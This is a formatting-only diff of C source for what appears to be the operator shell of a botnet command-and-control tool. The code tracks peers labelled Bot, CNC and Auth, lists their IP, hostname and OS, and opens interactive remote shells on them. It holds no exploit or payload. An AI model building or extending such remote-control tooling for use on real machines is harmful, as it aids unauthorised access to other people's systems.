||||||
int numEvents, i;
|
int numEvents, i;
|
||||||
|
|
||||||
@ -299,15 +312,18 @@ bool shellC_poll(tShell_client *client, int timeout) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) {
|
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv)
|
||||||
|
{
|
||||||
if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) {
|
if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) {
|
||||||
shellC_cleanup(client);
|
shellC_cleanup(client);
|
||||||
LAIKA_ERROR("Failed to init keypair!\n");
|
LAIKA_ERROR("Failed to init keypair!\n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
|
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id)
|
||||||
tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
|
{
|
||||||
|
tShell_hashMapElem *elem =
|
||||||
|
(tShell_hashMapElem *)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
|
||||||
|
|
||||||
/* return peer if elem was found, otherwise return NULL */
|
/* return peer if elem was found, otherwise return NULL */
|
||||||
if (elem) {
|
if (elem) {
|
||||||
@ -319,7 +335,8 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
|
int shellC_addPeer(tShell_client *client, tShell_peer *newPeer)
|
||||||
|
{
|
||||||
/* find empty ID */
|
/* find empty ID */
|
||||||
int id;
|
int id;
|
||||||
for (id = 0; id < client->peerTblCount; id++) {
|
for (id = 0; id < client->peerTblCount; id++) {
|
||||||
@ -329,7 +346,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
|
|||||||
|
|
||||||
/* if we didn't find an empty id, grow the array */
|
/* if we didn't find an empty id, grow the array */
|
||||||
if (id == client->peerTblCount) {
|
if (id == client->peerTblCount) {
|
||||||
laikaM_growarray(tShell_peer*, client->peerTbl, 1, client->peerTblCount, client->peerTblCap);
|
laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount,
|
||||||
|
client->peerTblCap);
|
||||||
client->peerTblCount++;
|
client->peerTblCount++;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -337,7 +355,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
|
|||||||
client->peerTbl[id] = newPeer;
|
client->peerTbl[id] = newPeer;
|
||||||
|
|
||||||
/* insert into hashmap */
|
/* insert into hashmap */
|
||||||
hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
|
hashmap_set(client->peers,
|
||||||
|
&(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
|
||||||
|
|
||||||
/* let user know */
|
/* let user know */
|
||||||
if (!shellC_isShellOpen(client)) {
|
if (!shellC_isShellOpen(client)) {
|
||||||
@ -347,7 +366,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
|
|||||||
return id;
|
return id;
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
|
void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id)
|
||||||
|
{
|
||||||
/* remove from bot tbl */
|
/* remove from bot tbl */
|
||||||
client->peerTbl[id] = NULL;
|
client->peerTbl[id] = NULL;
|
||||||
|
|
||||||
@ -363,7 +383,8 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
|
|||||||
shellP_freePeer(oldPeer);
|
shellP_freePeer(oldPeer);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row) {
|
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row)
|
||||||
|
{
|
||||||
/* check if we already have a shell open */
|
/* check if we already have a shell open */
|
||||||
if (client->openShell)
|
if (client->openShell)
|
||||||
return;
|
return;
|
||||||
@ -377,7 +398,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
|
|||||||
client->openShell = peer;
|
client->openShell = peer;
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_closeShell(tShell_client *client) {
|
void shellC_closeShell(tShell_client *client)
|
||||||
|
{
|
||||||
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
|
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
|
||||||
/* check if we have a shell open */
|
/* check if we have a shell open */
|
||||||
if (!shellC_isShellOpen(client))
|
if (!shellC_isShellOpen(client))
|
||||||
@ -391,7 +413,8 @@ void shellC_closeShell(tShell_client *client) {
|
|||||||
client->openShell = NULL;
|
client->openShell = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
|
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
|
||||||
|
{
|
||||||
uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */
|
uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */
|
||||||
struct sLaika_socket *sock = &client->peer->sock;
|
struct sLaika_socket *sock = &client->peer->sock;
|
||||||
/* check if we have a shell open */
|
/* check if we have a shell open */
|
||||||
@ -401,21 +424,22 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
|
|||||||
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(sock, &id, sizeof(uint32_t));
|
laikaS_writeInt(sock, &id, sizeof(uint32_t));
|
||||||
switch (client->openShell->osType) {
|
switch (client->openShell->osType) {
|
||||||
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be converted! */
|
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
|
||||||
laikaS_write(sock, data, sz);
|
converted! */
|
||||||
break;
|
laikaS_write(sock, data, sz);
|
||||||
default:
|
break;
|
||||||
/* line endings have to be converted (ALWAYS LINUX->WIN for now) */
|
default:
|
||||||
for (i = 0; i < sz; i++) {
|
/* line endings have to be converted (ALWAYS LINUX->WIN for now) */
|
||||||
if (data[i] == '\n') {
|
for (i = 0; i < sz; i++) {
|
||||||
/* convert to windows line endings */
|
if (data[i] == '\n') {
|
||||||
laikaS_writeByte(sock, '\r');
|
/* convert to windows line endings */
|
||||||
laikaS_writeByte(sock, '\n');
|
laikaS_writeByte(sock, '\r');
|
||||||
} else {
|
laikaS_writeByte(sock, '\n');
|
||||||
laikaS_writeByte(sock, data[i]);
|
} else {
|
||||||
}
|
laikaS_writeByte(sock, data[i]);
|
||||||
}
|
}
|
||||||
break;
|
}
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
laikaS_endVarPacket(client->peer);
|
laikaS_endVarPacket(client->peer);
|
||||||
}
|
}
|
||||||
|
@ -1,17 +1,19 @@
|
|||||||
#include <setjmp.h>
|
#include "scmd.h"
|
||||||
|
|
||||||
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "sclient.h"
|
#include "sclient.h"
|
||||||
#include "speer.h"
|
#include "speer.h"
|
||||||
#include "scmd.h"
|
|
||||||
#include "sterm.h"
|
#include "sterm.h"
|
||||||
#include "lerror.h"
|
|
||||||
|
|
||||||
#define CMD_ERROR(...) do { \
|
#include <setjmp.h>
|
||||||
PRINTTAG(TERM_BRIGHT_RED); \
|
|
||||||
shellT_printf(__VA_ARGS__); \
|
#define CMD_ERROR(...) \
|
||||||
longjmp(cmdE_err, 1); \
|
do { \
|
||||||
} while(0);
|
PRINTTAG(TERM_BRIGHT_RED); \
|
||||||
|
shellT_printf(__VA_ARGS__); \
|
||||||
|
longjmp(cmdE_err, 1); \
|
||||||
|
} while (0);
|
||||||
|
|
||||||
jmp_buf cmdE_err;
|
jmp_buf cmdE_err;
|
||||||
|
|
||||||
@ -19,14 +21,16 @@ jmp_buf cmdE_err;
|
|||||||
|
|
||||||
tShell_cmdDef *shellS_findCmd(char *cmd);
|
tShell_cmdDef *shellS_findCmd(char *cmd);
|
||||||
|
|
||||||
tShell_peer *shellS_getPeer(tShell_client *client, int id) {
|
tShell_peer *shellS_getPeer(tShell_client *client, int id)
|
||||||
|
{
|
||||||
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
|
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
|
||||||
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
|
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
|
||||||
|
|
||||||
return client->peerTbl[id];
|
return client->peerTbl[id];
|
||||||
}
|
}
|
||||||
|
|
||||||
int shellS_readInt(char *str) {
|
int shellS_readInt(char *str)
|
||||||
|
{
|
||||||
return atoi(str);
|
return atoi(str);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -34,12 +38,14 @@ int shellS_readInt(char *str) {
|
|||||||
|
|
||||||
void helpCMD(tShell_client *client, int argc, char *argv[]);
|
void helpCMD(tShell_client *client, int argc, char *argv[]);
|
||||||
|
|
||||||
void quitCMD(tShell_client *client, int argc, char *argv[]) {
|
void quitCMD(tShell_client *client, int argc, char *argv[])
|
||||||
|
{
|
||||||
PRINTINFO("Killing socket...\n");
|
PRINTINFO("Killing socket...\n");
|
||||||
laikaS_kill(&client->peer->sock);
|
laikaS_kill(&client->peer->sock);
|
||||||
}
|
}
|
||||||
|
|
||||||
void listPeersCMD(tShell_client *client, int argc, char *argv[]) {
|
void listPeersCMD(tShell_client *client, int argc, char *argv[])
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 0; i < client->peerTblCount; i++) {
|
for (i = 0; i < client->peerTblCount; i++) {
|
||||||
@ -50,7 +56,8 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[]) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void infoCMD(tShell_client *client, int argc, char *argv[]) {
|
void infoCMD(tShell_client *client, int argc, char *argv[])
|
||||||
|
{
|
||||||
tShell_peer *peer;
|
tShell_peer *peer;
|
||||||
int id;
|
int id;
|
||||||
|
|
||||||
@ -65,7 +72,8 @@ void infoCMD(tShell_client *client, int argc, char *argv[]) {
|
|||||||
shellP_printInfo(peer);
|
shellP_printInfo(peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
void openShellCMD(tShell_client *client, int argc, char *argv[]) {
|
void openShellCMD(tShell_client *client, int argc, char *argv[])
|
||||||
|
{
|
||||||
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||||
tShell_peer *peer;
|
tShell_peer *peer;
|
||||||
int id, sz, cols, rows;
|
int id, sz, cols, rows;
|
||||||
@ -112,7 +120,8 @@ void openShellCMD(tShell_client *client, int argc, char *argv[]) {
|
|||||||
|
|
||||||
/* =====================================[[ Command Table ]]===================================== */
|
/* =====================================[[ Command Table ]]===================================== */
|
||||||
|
|
||||||
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
|
#define CREATECMD(_cmd, _syntax, _help, _callback) \
|
||||||
|
((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
|
||||||
|
|
||||||
tShell_cmdDef shellS_cmds[] = {
|
tShell_cmdDef shellS_cmds[] = {
|
||||||
CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
|
CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
|
||||||
@ -124,11 +133,12 @@ tShell_cmdDef shellS_cmds[] = {
|
|||||||
|
|
||||||
#undef CREATECMD
|
#undef CREATECMD
|
||||||
|
|
||||||
tShell_cmdDef *shellS_findCmd(char *cmd) {
|
tShell_cmdDef *shellS_findCmd(char *cmd)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* TODO: make a hashmap for command lookup */
|
/* TODO: make a hashmap for command lookup */
|
||||||
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
|
for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
|
||||||
if (strcmp(shellS_cmds[i].cmd, cmd) == 0)
|
if (strcmp(shellS_cmds[i].cmd, cmd) == 0)
|
||||||
return &shellS_cmds[i]; /* cmd found */
|
return &shellS_cmds[i]; /* cmd found */
|
||||||
}
|
}
|
||||||
@ -136,24 +146,32 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void helpCMD(tShell_client *client, int argc, char *argv[]) {
|
void helpCMD(tShell_client *client, int argc, char *argv[])
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
|
shellT_printf("======= [[ %sCommand List%s ]] =======\n",
|
||||||
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
|
shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
|
||||||
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help);
|
|
||||||
|
for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
|
||||||
|
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW),
|
||||||
|
shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE),
|
||||||
|
shellS_cmds[i].help);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellS_initCmds(void) {
|
void shellS_initCmds(void)
|
||||||
|
{
|
||||||
/* stubbed for now, TODO: setup command hashmap */
|
/* stubbed for now, TODO: setup command hashmap */
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellS_cleanupCmds(void) {
|
void shellS_cleanupCmds(void)
|
||||||
|
{
|
||||||
/* stubbed for now, TODO: free command hashmap */
|
/* stubbed for now, TODO: free command hashmap */
|
||||||
}
|
}
|
||||||
|
|
||||||
char **shellS_splitCmd(char *cmd, int *argSize) {
|
char **shellS_splitCmd(char *cmd, int *argSize)
|
||||||
|
{
|
||||||
int argCount = 0;
|
int argCount = 0;
|
||||||
int argCap = 4;
|
int argCap = 4;
|
||||||
char *temp;
|
char *temp;
|
||||||
@ -165,7 +183,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
|
|||||||
if (arg != cmd) {
|
if (arg != cmd) {
|
||||||
if (arg[-1] == '\\') { /* space is part of the argument */
|
if (arg[-1] == '\\') { /* space is part of the argument */
|
||||||
/* remove the '\' character */
|
/* remove the '\' character */
|
||||||
for (temp = arg-1; *temp != '\0'; temp++) {
|
for (temp = arg - 1; *temp != '\0'; temp++) {
|
||||||
temp[0] = temp[1];
|
temp[0] = temp[1];
|
||||||
}
|
}
|
||||||
arg++;
|
arg++;
|
||||||
@ -175,7 +193,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* insert into our 'args' array */
|
/* insert into our 'args' array */
|
||||||
laikaM_growarray(char*, args, 1, argCount, argCap);
|
laikaM_growarray(char *, args, 1, argCount, argCap);
|
||||||
args[argCount++] = arg;
|
args[argCount++] = arg;
|
||||||
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
|
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
|
||||||
|
|
||||||
@ -183,7 +201,8 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
|
|||||||
return args;
|
return args;
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellS_runCmd(tShell_client *client, char *cmd) {
|
void shellS_runCmd(tShell_client *client, char *cmd)
|
||||||
|
{
|
||||||
tShell_cmdDef *cmdDef;
|
tShell_cmdDef *cmdDef;
|
||||||
char **argc;
|
char **argc;
|
||||||
int args;
|
int args;
|
||||||
|
@ -1,10 +1,13 @@
|
|||||||
|
#include "speer.h"
|
||||||
|
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lpacket.h"
|
#include "lpacket.h"
|
||||||
#include "speer.h"
|
|
||||||
#include "sterm.h"
|
#include "sterm.h"
|
||||||
|
|
||||||
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipStr) {
|
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,
|
||||||
tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
|
char *inet, char *ipStr)
|
||||||
|
{
|
||||||
|
tShell_peer *peer = (tShell_peer *)laikaM_malloc(sizeof(tShell_peer));
|
||||||
peer->type = type;
|
peer->type = type;
|
||||||
peer->osType = osType;
|
peer->osType = osType;
|
||||||
|
|
||||||
@ -17,37 +20,50 @@ tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char
|
|||||||
memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN);
|
memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN);
|
||||||
|
|
||||||
/* restore NULL terminators */
|
/* restore NULL terminators */
|
||||||
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
|
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
|
||||||
peer->inet[LAIKA_INET_LEN-1] = '\0';
|
peer->inet[LAIKA_INET_LEN - 1] = '\0';
|
||||||
peer->ipStr[LAIKA_IPSTR_LEN-1] = '\0';
|
peer->ipStr[LAIKA_IPSTR_LEN - 1] = '\0';
|
||||||
|
|
||||||
return peer;
|
return peer;
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellP_freePeer(tShell_peer *peer) {
|
void shellP_freePeer(tShell_peer *peer)
|
||||||
|
{
|
||||||
laikaM_free(peer);
|
laikaM_free(peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
char *shellP_typeStr(tShell_peer *peer) {
|
char *shellP_typeStr(tShell_peer *peer)
|
||||||
|
{
|
||||||
switch (peer->type) {
|
switch (peer->type) {
|
||||||
case PEER_BOT: return "Bot";
|
case PEER_BOT:
|
||||||
case PEER_CNC: return "CNC";
|
return "Bot";
|
||||||
case PEER_AUTH: return "Auth";
|
case PEER_CNC:
|
||||||
default: return "err";
|
return "CNC";
|
||||||
|
case PEER_AUTH:
|
||||||
|
return "Auth";
|
||||||
|
default:
|
||||||
|
return "err";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
char *shellP_osTypeStr(tShell_peer *peer) {
|
char *shellP_osTypeStr(tShell_peer *peer)
|
||||||
|
{
|
||||||
switch (peer->osType) {
|
switch (peer->osType) {
|
||||||
case OS_WIN: return "Windows";
|
case OS_WIN:
|
||||||
case OS_LIN: return "Linux";
|
return "Windows";
|
||||||
default: return "unkn";
|
case OS_LIN:
|
||||||
|
return "Linux";
|
||||||
|
default:
|
||||||
|
return "unkn";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellP_printInfo(tShell_peer *peer) {
|
void shellP_printInfo(tShell_peer *peer)
|
||||||
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
|
{
|
||||||
|
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and
|
||||||
|
doesn't break anything (ie doesn't write outside the buffer) */
|
||||||
|
|
||||||
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
|
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
|
||||||
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf);
|
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname,
|
||||||
|
shellP_osTypeStr(peer), peer->inet, buf);
|
||||||
}
|
}
|
@ -1,24 +1,26 @@
|
|||||||
#include "lmem.h"
|
|
||||||
#include "scmd.h"
|
|
||||||
#include "sterm.h"
|
#include "sterm.h"
|
||||||
|
|
||||||
#define KEY_ESCAPE 0x001b
|
#include "lmem.h"
|
||||||
#define KEY_ENTER 0x000a
|
#include "scmd.h"
|
||||||
#define KEY_BACKSPACE 0x007f
|
|
||||||
#define KEY_UP 0x0105
|
|
||||||
#define KEY_DOWN 0x0106
|
|
||||||
#define KEY_LEFT 0x0107
|
|
||||||
#define KEY_RIGHT 0x0108
|
|
||||||
|
|
||||||
#define cursorForward(x) printf("\033[%dC", (x))
|
#define KEY_ESCAPE 0x001b
|
||||||
|
#define KEY_ENTER 0x000a
|
||||||
|
#define KEY_BACKSPACE 0x007f
|
||||||
|
#define KEY_UP 0x0105
|
||||||
|
#define KEY_DOWN 0x0106
|
||||||
|
#define KEY_LEFT 0x0107
|
||||||
|
#define KEY_RIGHT 0x0108
|
||||||
|
|
||||||
|
#define cursorForward(x) printf("\033[%dC", (x))
|
||||||
#define cursorBackward(x) printf("\033[%dD", (x))
|
#define cursorBackward(x) printf("\033[%dD", (x))
|
||||||
#define clearLine() printf("\033[2K")
|
#define clearLine() printf("\033[2K")
|
||||||
|
|
||||||
struct termios orig_termios;
|
struct termios orig_termios;
|
||||||
char *cmd, *prompt = "$> ";
|
char *cmd, *prompt = "$> ";
|
||||||
int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
|
int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
|
||||||
|
|
||||||
void shellT_conioTerm(void) {
|
void shellT_conioTerm(void)
|
||||||
|
{
|
||||||
struct termios new_termios;
|
struct termios new_termios;
|
||||||
|
|
||||||
/* take two copies - one for now, one for later */
|
/* take two copies - one for now, one for later */
|
||||||
@ -31,43 +33,80 @@ void shellT_conioTerm(void) {
|
|||||||
tcsetattr(STDIN_FILENO, TCSANOW, &new_termios);
|
tcsetattr(STDIN_FILENO, TCSANOW, &new_termios);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellT_resetTerm(void) {
|
void shellT_resetTerm(void)
|
||||||
|
{
|
||||||
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
|
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
|
||||||
}
|
}
|
||||||
|
|
||||||
const char *shellT_getForeColor(TERM_COLOR col) {
|
const char *shellT_getForeColor(TERM_COLOR col)
|
||||||
|
{
|
||||||
switch (col) {
|
switch (col) {
|
||||||
case TERM_BLACK: return "\033[30m"; break;
|
case TERM_BLACK:
|
||||||
case TERM_RED: return "\033[31m"; break;
|
return "\033[30m";
|
||||||
case TERM_GREEN: return "\033[32m"; break;
|
break;
|
||||||
case TERM_YELLOW: return "\033[33m"; break;
|
case TERM_RED:
|
||||||
case TERM_BLUE: return "\033[34m"; break;
|
return "\033[31m";
|
||||||
case TERM_MAGENTA: return "\033[35m"; break;
|
break;
|
||||||
case TERM_CYAN: return "\033[36m"; break;
|
case TERM_GREEN:
|
||||||
case TERM_WHITE: return "\033[37m"; break;
|
return "\033[32m";
|
||||||
case TERM_BRIGHT_BLACK: return "\033[90m"; break;
|
break;
|
||||||
case TERM_BRIGHT_RED: return "\033[91m"; break;
|
case TERM_YELLOW:
|
||||||
case TERM_BRIGHT_GREEN: return "\033[92m"; break;
|
return "\033[33m";
|
||||||
case TERM_BRIGHT_YELLOW: return "\033[93m"; break;
|
break;
|
||||||
case TERM_BRIGHT_BLUE: return "\033[94m"; break;
|
case TERM_BLUE:
|
||||||
case TERM_BRIGHT_MAGENTA: return "\033[95m"; break;
|
return "\033[34m";
|
||||||
case TERM_BRIGHT_CYAN: return "\033[96m"; break;
|
break;
|
||||||
case TERM_BRIGHT_WHITE: default: return "\033[97m"; break;
|
case TERM_MAGENTA:
|
||||||
|
return "\033[35m";
|
||||||
|
break;
|
||||||
|
case TERM_CYAN:
|
||||||
|
return "\033[36m";
|
||||||
|
break;
|
||||||
|
case TERM_WHITE:
|
||||||
|
return "\033[37m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_BLACK:
|
||||||
|
return "\033[90m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_RED:
|
||||||
|
return "\033[91m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_GREEN:
|
||||||
|
return "\033[92m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_YELLOW:
|
||||||
|
return "\033[93m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_BLUE:
|
||||||
|
return "\033[94m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_MAGENTA:
|
||||||
|
return "\033[95m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_CYAN:
|
||||||
|
return "\033[96m";
|
||||||
|
break;
|
||||||
|
case TERM_BRIGHT_WHITE:
|
||||||
|
default:
|
||||||
|
return "\033[97m";
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellT_printf(const char *format, ...) {
|
void shellT_printf(const char *format, ...)
|
||||||
|
{
|
||||||
va_list args;
|
va_list args;
|
||||||
|
|
||||||
va_start(args, format);
|
va_start(args, format);
|
||||||
vprintf(format, args);
|
vprintf(format, args);
|
||||||
va_end(args);
|
va_end(args);
|
||||||
|
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* waits for input for timeout. returns true if input is ready to be read, false if no events */
|
/* waits for input for timeout. returns true if input is ready to be read, false if no events */
|
||||||
bool shellT_waitForInput(int timeout) {
|
bool shellT_waitForInput(int timeout)
|
||||||
|
{
|
||||||
struct timeval tv;
|
struct timeval tv;
|
||||||
fd_set fds;
|
fd_set fds;
|
||||||
|
|
||||||
@ -81,16 +120,19 @@ bool shellT_waitForInput(int timeout) {
|
|||||||
return select(1, &fds, NULL, NULL, &tv) > 0;
|
return select(1, &fds, NULL, NULL, &tv) > 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int shellT_readRawInput(uint8_t *buf, size_t max) {
|
int shellT_readRawInput(uint8_t *buf, size_t max)
|
||||||
|
{
|
||||||
return read(STDIN_FILENO, buf, max);
|
return read(STDIN_FILENO, buf, max);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellT_writeRawOutput(uint8_t *buf, size_t sz) {
|
void shellT_writeRawOutput(uint8_t *buf, size_t sz)
|
||||||
|
{
|
||||||
write(STDOUT_FILENO, buf, sz);
|
write(STDOUT_FILENO, buf, sz);
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellT_getTermSize(int *col, int *row) {
|
void shellT_getTermSize(int *col, int *row)
|
||||||
|
{
|
||||||
struct winsize ws;
|
struct winsize ws;
|
||||||
ioctl(STDIN_FILENO, TIOCGWINSZ, &ws);
|
ioctl(STDIN_FILENO, TIOCGWINSZ, &ws);
|
||||||
|
|
||||||
@ -98,18 +140,20 @@ void shellT_getTermSize(int *col, int *row) {
|
|||||||
*row = ws.ws_row;
|
*row = ws.ws_row;
|
||||||
}
|
}
|
||||||
|
|
||||||
char shellT_getch(void) {
|
char shellT_getch(void)
|
||||||
|
{
|
||||||
int r;
|
int r;
|
||||||
char in;
|
char in;
|
||||||
|
|
||||||
if ((r = shellT_readRawInput((uint8_t*)&in, 1)) > 0) {
|
if ((r = shellT_readRawInput((uint8_t *)&in, 1)) > 0) {
|
||||||
return in;
|
return in;
|
||||||
} else {
|
} else {
|
||||||
return r;
|
return r;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int shellT_kbesc(void) {
|
int shellT_kbesc(void)
|
||||||
|
{
|
||||||
int c;
|
int c;
|
||||||
|
|
||||||
/* if no event waiting, it's KEY_ESCAPE */
|
/* if no event waiting, it's KEY_ESCAPE */
|
||||||
@ -118,11 +162,21 @@ int shellT_kbesc(void) {
|
|||||||
|
|
||||||
if ((c = shellT_getch()) == '[') {
|
if ((c = shellT_getch()) == '[') {
|
||||||
switch (shellT_getch()) {
|
switch (shellT_getch()) {
|
||||||
case 'A': c = KEY_UP; break;
|
case 'A':
|
||||||
case 'B': c = KEY_DOWN; break;
|
c = KEY_UP;
|
||||||
case 'C': c = KEY_RIGHT; break;
|
break;
|
||||||
case 'D': c = KEY_LEFT; break;
|
case 'B':
|
||||||
default: c = 0; break;
|
c = KEY_DOWN;
|
||||||
|
break;
|
||||||
|
case 'C':
|
||||||
|
c = KEY_RIGHT;
|
||||||
|
break;
|
||||||
|
case 'D':
|
||||||
|
c = KEY_LEFT;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
c = 0;
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
c = 0;
|
c = 0;
|
||||||
